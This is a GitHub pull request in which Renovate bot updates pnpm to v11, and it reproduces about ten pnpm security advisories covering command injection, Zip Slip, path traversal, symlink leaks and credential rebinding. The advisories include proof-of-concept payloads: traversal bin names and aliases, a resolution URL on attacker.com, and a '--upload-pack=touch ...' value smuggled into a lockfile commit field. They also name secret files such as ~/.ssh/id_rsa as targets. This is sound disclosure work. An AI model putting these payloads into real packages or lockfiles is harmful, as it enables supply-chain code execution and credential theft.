You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
Package: pnpm
Versions: All versions using @pnpm/config.env-replace and loadToken functionality
File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
constzip=newAdmZip(buffer)constnodeDir=basename==='' ? targetDir : path.dirname(targetDir)constextractedDir=path.join(nodeDir,basename)zip.extractAllTo(nodeDir,true)// Entry paths not validated!awaitrenameOverwrite(extractedDir,targetDir)
A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
constextractedDir=path.join(nodeDir,basename)// If basename is '../../evil', this points outside nodeDir
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.
A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.
Details
The vulnerability exists in the bin name validation and normalization logic:
When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.
Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.
Details
The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:
When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.
Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).
Details
Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:
if(manifest.directories?.bin){constbinDir=path.join(pkgPath,manifest.directories.bin)// NO VALIDATIONconstfiles=awaitfindFiles(binDir)// ... files outside package returned, then chmod 755'd}
The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.
This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies.
Notice that there is no hash. The b3eeb9b is not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it).
While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default.
Summary
pnpm install in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in pnpm-lock.yaml.
When a package is already locked with an integrity value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain pnpm install then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully.
This means the lockfile integrity check does not act as a hard stop by default.
Reproduction Scenario
Run a local npm-compatible registry.
Publish or serve example-package@1.0.0 with tarball content v1.
Change the registry metadata and tarball for the same example-package@1.0.0 to content v2.
On a clean store/cache, run:
pnpm install --registry=http://127.0.0.1:48741
Observed Behavior
pnpm detects the checksum mismatch:
WARN Got unexpected checksum for "http://127.0.0.1:48741/example-package/-/example-package-1.0.0.tgz".
Wanted "sha512-...v1..."
Got "sha512-...v2...".
ERR_PNPM_TARBALL_INTEGRITY The lockfile is broken! Resolution step will be performed to fix it.
However, the install still succeeds:
INSTALL_RC=0
INSTALLED=v2-replaced
The lockfile is then rewritten to trust the new remote integrity:
If a downloaded tarball does not match the integrity recorded in pnpm-lock.yaml, the install should fail by default.
The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior.
Security Impact
This behavior weakens the protection normally expected from a committed lockfile.
If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity.
Examples of affected new or clean environments include:
an engineer setting up the project on a new machine
a new team member onboarding to the project
In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in pnpm-lock.yaml. However, instead of failing by default, plain pnpm install performs a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content.
In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile.
This is especially relevant for:
private registries that allow overwriting or republishing the same version
registry mirrors or proxies that can serve changed metadata and tarballs
compromised public or private registries
compromised registry proxy infrastructure
The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair.
This issue does not occur when --frozen-lockfile is enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content.
However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version.
For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile.
Comparison
In the same scenario, npm install with an existing package-lock.json fails with EINTEGRITY and does not install the changed tarball.
pnpm install --frozen-lockfile also fails as expected:
ERR_PNPM_TARBALL_INTEGRITY
The issue is specific to the default non-frozen behavior of plain pnpm install in non-CI environment.
pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file.
In the reproduced case, the user's npm config contains a default registry and an unscoped _authToken. The repository does not provide a token-bearing auth line. It only sets registry= to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an Authorization header.
This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.
Affected Behavior Observed
Observed affected:
pnpm 10.33.2: pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
pnpm 11.1.3: pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
pnpm 11.2.1 (next-11 dist tag at testing time): pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
pnpm 11.1.3: pnpm view also sends user-level unscoped _authToken, _auth, and username / _password credentials to the repository-selected registry in the local loopback replay.
Control:
npm 10.9.7 rejects the same unscoped user _authToken configuration with ERR_INVALID_AUTH and does not send an Authorization header to the repository-selected registry.
URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.
Threat Model
Victim:
developer or CI job with user-level npm registry credentials configured;
runs pnpm install, pnpm view, or an equivalent pnpm metadata/restore command in a repository.
Attacker:
controls repository-local package manager configuration, such as .npmrc;
can set registry= to a registry endpoint they control;
does not need to provide a token-bearing auth line for the strong case.
Boundary:
Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.
Minimal Reproduction
The reproducer below starts two loopback HTTP registries:
a trusted registry URL used in the isolated user .npmrc;
an attacker registry URL used in the repository-local .npmrc.
pnpm should not send the user-level unscoped _authToken to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.
Observed Behavior
pnpm 10.33.2, pnpm 11.1.3, and pnpm 11.2.1 send:
Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN
to the attacker loopback registry during install. npm 10.9.7 rejects the same config and sends no Authorization header.
Security Impact
This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.
Non-Claims
This report does not claim:
remote code execution;
registry account compromise by itself;
leakage of URL-scoped tokens for a different registry;
npm CLI impact;
impact from a repository explicitly committing its own token-bearing auth
line.
Source-Level Notes
In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local .npmrc can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.
Suggested Fix Direction
The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped
credentials.
This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.
Runnable Reproducer
Save the following as repro.py and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set PR166_PNPM_SPEC, for example PR166_PNPM_SPEC=11.2.1.
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.
.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:
.husky or .githooks for Git hook dispatchers
scripts/, tools/, bin/, or tests/ for project scripts and CI commands
.github/actions/<name> for local GitHub Actions used later in the workflow
dist/ or other publish/build output directories before pnpm pack or pnpm publish
node_modules/.bin or undeclared node_modules/<name> paths used by later
command or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with pnpm@11.2.1.
Impact
Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.
Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.
Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.
The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.
The dependency chain is:
victim installs normal@1.0.0
normal@1.0.0 -> bad@1.0.0
bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias
The malicious transitive package metadata contains:
The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.
Requirements:
pnpm
npm
node
git
openssl
Expected output:
git commit exit code: 0
git commit stderr:
PWNED
PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.
pnpm passes the lockfile-controlled git resolution.commit value to git fetch without a -- separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as --upload-pack=<command>. For SSH and local transports, --upload-pack can execute the supplied command. HTTPS transports ignore --upload-pack, so the practical attack surface is primarily SSH or local git dependencies.
Vulnerability Details
The vulnerable path is in fetching/git-fetcher/src/index.ts. When a git dependency host is configured for shallow fetching, pnpm calls:
Because resolution.commit is appended before a -- separator, Git can parse a commit value beginning with - as an option. The same file later passes the value to git checkout without a separator:
resolution.commit comes from the lockfile and is typed as a plain string; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git.
Proof of Concept
bash autofyn_audit/exploits/vuln11_git_upload_pack_rce/exploit.sh
##### Creates a local bare git repo and triggers the shallow-fetch path.##### Replaces the lockfile commit hash with '--upload-pack=touch /tmp/vuln11_pwned'.##### Result: PASS -- /tmp/vuln11_pwned created by injected touch command.
The PoC uses a local file://githost/... repository because the injection requires a local or SSH transport. HTTPS transport ignores --upload-pack.
Impact
Code execution as the user running pnpm install, under specific transport conditions. The attacker must modify pnpm-lock.yaml, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune.
Suggested Remediation
Add a -- separator before lockfile-controlled git rev
Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.
This PR includes no changesets
When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types
To trigger a single review, invoke the @coderabbitai review command.
You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.
🔍 Trigger a full review
Comment @coderabbitai help to get the list of available commands and usage tips.
renovateBot
changed the title
chore(deps): update pnpm to v10.27.0 [security]
chore(deps): update pnpm to v10.27.0 [security] - autoclosed
Jan 27, 2026
renovateBot
changed the title
chore(deps): update pnpm to v10.27.0 [security] - autoclosed
chore(deps): update pnpm to v10.28.2 [security]
Jan 28, 2026
renovateBot
changed the title
chore(deps): update pnpm to v10.28.2 [security]
chore(deps): update pnpm to v10.28.2 [security] - autoclosed
Mar 12, 2026
renovateBot
changed the title
chore(deps): update pnpm to v10.28.2 [security] - autoclosed
chore(deps): update pnpm to v10.28.2 [security]
Mar 12, 2026
renovateBot
changed the title
Update pnpm to v10.28.2 [SECURITY]
Update pnpm to v11 [SECURITY]
Jun 27, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
10.26.1→11.5.3pnpm vulnerable to Command Injection via environment variable substitution
CVE-2025-69262 / GHSA-2phv-j68v-wwqx
More information
Details
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in
.npmrcconfiguration files withtokenHelpersettings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.Affected Components
@pnpm/config.env-replaceandloadTokenfunctionalitypnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()functionpnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitutionTechnical Details
Vulnerability Chain
Environment Variable Substitution
.npmrcsupports${VAR}syntaxreadLocalConfig()loadToken Execution
spawnSync(helperPath, { shell: true })Attack Flow
Code Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71Proof of Concept
Prerequisites
PoC Steps
PoC Results
Impact
Severity
Affected Environments
High Risk:
Low Risk:
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Scenario 2: Docker Build
Scenario 3: Kubernetes
Mitigation
Temporary Workarounds
Disable tokenHelper:
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKENAudit environment variables:
Recommended Fixes
shell: truefrom loadTokenDisclosure
References
@pnpm/config.env-replace@^3.0.2Credit
Reported by: Jiyong Yang
Contact: sy2n0@naver.com
Severity
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
CVE-2026-23888 / GHSA-6pfh-p556-v868
More information
Details
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing
../or absolute paths that escape the extraction root via AdmZip'sextractAllTo, and (2) TheBinaryResolution.prefixfield is concatenated into the extraction path without validation, allowing a crafted prefix like../../evilto redirect extracted files outsidetargetDir.Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (
fetching/binary-fetcher/src/index.ts)AdmZip's
extractAllTodoes not validate entry paths for path traversal:A ZIP entry with path
../../../.npmrcwill be written outsidenodeDir.2. Unvalidated Prefix in BinaryResolution (
resolving/resolver-base/src/index.ts)The
basenamevariable comes fromBinaryResolution.prefixand is used directly in path construction:PoC
Attack Vector 1: ZIP Entry Path Traversal
Attack Vector 2: Prefix Traversal via malicious resolution:
{ "resolution": { "type": "binary", "url": "https://attacker.com/node.zip", "prefix": "../../PWNED" } }Impact
Verified on pnpm main @ commit
5a0ed1d45.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm has Windows-specific tarball Path Traversal
CVE-2026-23889 / GHSA-6x96-7vc8-cm3p
More information
Details
Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for
./but not.\. On Windows, backslashes are directory separators, enabling path traversal.This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (
store/cafs/src/parseTarball.ts:107-110)A path like
foo\..\..\.npmrcdoes NOT contain./and bypasses this check.2. Platform-Dependent Behavior (
fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)PoC
package/foo\..\..\.npmrcpnpm install.npmrcwritten outside package directoryImpact
.npmrc, build configs, or other filesVerified on pnpm main @ commit 5a0ed1d45.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin
CVE-2026-23890 / GHSA-xpqm-wm3m-f34h
More information
Details
Summary
A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of
node_modules/.bin. Bin names starting with@bypass validation, and after scope normalization, path traversal sequences like../../remain intact.Details
The vulnerability exists in the bin name validation and normalization logic:
1. Validation Bypass (
pkg-manager/package-bins/src/index.ts)The filter allows any bin name starting with
@to pass through without validation:2. Incomplete Normalization (
pkg-manager/package-bins/src/index.ts)3. Exploitation (
pkg-manager/link-bins/src/index.ts:288)The normalized name is used directly in
path.join()without validation.PoC
{ "name": "malicious-pkg", "version": "1.0.0", "bin": { "@​scope/../../.npmrc": "./malicious.js" } }.npmrccreated in project root (outside node_modules/.bin).Impact
Verified on pnpm main @ commit 5a0ed1d45.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm has symlink traversal in file:/git dependencies
CVE-2026-24056 / GHSA-m733-5w8f-5ggw
More information
Details
Summary
When pnpm installs a
file:(directory) orgit:dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g.,/etc/passwd,~/.ssh/id_rsa) causes pnpm to copy that file's contents intonode_modules, leaking local data.Preconditions: Only affects
file:andgit:dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.Details
The vulnerability exists in
store/cafs/src/addFilesFromDir.ts. The code usesfs.statSync()andreadFileSync()which follow symlinks by default:There is no check that
absolutePathresolves to a location inside the package directory.PoC
Impact
~/.aws/credentials,~/.npmrc,~/.ssh/id_rsaSuggested Fix
Use
lstatSyncto detect symlinks and reject those pointing outside the package root instore/cafs/src/addFilesFromDir.ts.Severity
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm has Path Traversal via arbitrary file permission modification
CVE-2026-24131 / GHSA-v253-rj99-jwpq
More information
Details
Summary
When pnpm processes a package's
directories.binfield, it usespath.join()without validating the result stays within the package root. A malicious npm package can specify"directories": {"bin": "../../../../tmp"}to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.Note: Only affects Unix/Linux/macOS. Windows is not affected (
fixBingated byEXECUTABLE_SHEBANG_SUPPORTED).Details
Vulnerable code in
pkg-manager/package-bins/src/index.ts:15-21:The
binfield IS protected withisSubdir()at line 53, butdirectories.binlacks this check.PoC
Impact
Suggested Fix
Add
isSubdirvalidation fordirectories.binpaths inpkg-manager/package-bins/src/index.ts, matching the existing validation incommandsFromBin():Severity
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Tarball hash of GitHub git dependencies is not stored in lockfile
CVE-2026-48995 / GHSA-hg3w-7f8c-63hp
More information
Details
Summary
A malicious
codeload.github.comserver can serve whatever tarball it wants and pnpm will install it regardless of the lockfile.Details
The lockfile does not store the hash of the dependencies from https://codeload.github.com
This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies.
PoC
> pnpm -v 10.28.2Given the following package.json:
{ "dependencies": { "add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b" } }This produces a lockfile like so:
Notice that there is no hash. The
b3eeb9bis not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it).Impact
Anyone relying on github git dependencies.
Severity
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:UReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Unsafe default behavior breaks integrity check
CVE-2026-50573 / GHSA-54hh-g5mx-jqcp
More information
Details
While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default.
Summary
pnpm installin non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded inpnpm-lock.yaml.When a package is already locked with an
integrityvalue, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plainpnpm installthen performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully.This means the lockfile integrity check does not act as a hard stop by default.
Reproduction Scenario
example-package@1.0.0with tarball contentv1.pnpm-lock.yamlcontains thev1integrity:example-package@1.0.0to contentv2.Observed Behavior
pnpm detects the checksum mismatch:
However, the install still succeeds:
The lockfile is then rewritten to trust the new remote integrity:
Expected Behavior
If a downloaded tarball does not match the integrity recorded in
pnpm-lock.yaml, the install should fail by default.The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior.
Security Impact
This behavior weakens the protection normally expected from a committed lockfile.
If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity.
Examples of affected new or clean environments include:
In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in
pnpm-lock.yaml. However, instead of failing by default, plainpnpm installperforms a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content.In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile.
This is especially relevant for:
The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair.
This issue does not occur when
--frozen-lockfileis enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content.However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version.
For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile.
Comparison
In the same scenario,
npm installwith an existingpackage-lock.jsonfails withEINTEGRITYand does not install the changed tarball.pnpm install --frozen-lockfilealso fails as expected:The issue is specific to the default non-frozen behavior of plain
pnpm installin non-CI environment.Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm binds unscoped user-level npm auth credentials to a repository-selected registry
CVE-2026-50017 / GHSA-cjhr-43r9-cfmw
More information
Details
Summary
pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local
.npmrcfile.In the reproduced case, the user's npm config contains a default registry and an unscoped
_authToken. The repository does not provide a token-bearing auth line. It only setsregistry=to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as anAuthorizationheader.This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.
Affected Behavior Observed
Observed affected:
10.33.2:pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry.11.1.3:pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry.11.2.1(next-11dist tag at testing time):pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry.11.1.3:pnpm viewalso sends user-level unscoped_authToken,_auth, andusername/_passwordcredentials to the repository-selected registry in the local loopback replay.Control:
10.9.7rejects the same unscoped user_authTokenconfiguration withERR_INVALID_AUTHand does not send anAuthorizationheader to the repository-selected registry.Threat Model
Victim:
pnpm install,pnpm view, or an equivalent pnpm metadata/restore command in a repository.Attacker:
.npmrc;registry=to a registry endpoint they control;Boundary:
Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.
Minimal Reproduction
The reproducer below starts two loopback HTTP registries:
.npmrc;.npmrc.The isolated user
.npmrccontains:The repository-local
.npmrccontains:registry=<attacker-loopback-registry>The repository
package.jsondepends on a toy package served by the loopback registry. The script then runs:Expected Safe Behavior
pnpm should not send the user-level unscoped
_authTokento the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.Observed Behavior
pnpm
10.33.2, pnpm11.1.3, and pnpm11.2.1send:Authorization: Bearer PR166_FAKE_REGISTRY_TOKENto the attacker loopback registry during install. npm
10.9.7rejects the same config and sends noAuthorizationheader.Security Impact
This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.
Non-Claims
This report does not claim:
line.
Source-Level Notes
In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local
.npmrccan change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.Suggested Fix Direction
The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped
credentials.
This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.
Runnable Reproducer
Save the following as
repro.pyand run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, setPR166_PNPM_SPEC, for examplePR166_PNPM_SPEC=11.2.1.Abbreviated Expected Output
Reporter: JUNYI LIU
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement
CVE-2026-50016 / GHSA-hwx4-2j3j-g496
More information
Details
Summary
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause
pnpm install - ignore-scriptsto replace paths in the current project with symlinks to attacker-controlled dependency package directories..git/hooksis only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:.huskyor.githooksfor Git hook dispatchersscripts/,tools/,bin/, ortests/for project scripts and CI commands.github/actions/<name>for local GitHub Actions used later in the workflowdist/or other publish/build output directories beforepnpm packorpnpm publishnode_modules/.binor undeclarednode_modules/<name>paths used by latercommand or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with
pnpm@11.2.1.Impact
Users often run
pnpm install --ignore-scriptsexpecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.Examples include
git commit,pnpm test,pnpm run build, a CI step that uses a local GitHub Action, orpnpm publishpackaging a replaceddist/directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces.git/hooks, and the payload runs when the victim later executesgit commit.Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination
node_modulesdirectory and passed to the symlink creation logic without rejecting..segments or checking that the normalized result stays inside the intendednode_modulesdirectory.Conceptually, a transitive alias like this:
{ "@​x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }is eventually treated like:
The normalized destination escapes the dependency's
node_modulesdirectory and lands at the victim project's.git/hookspath. pnpm then creates a symlink at that escaped destination to the resolvedpayload-hookspackage directory.The dependency chain is:
The malicious transitive package metadata contains:
{ "@​x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }Because this uses an
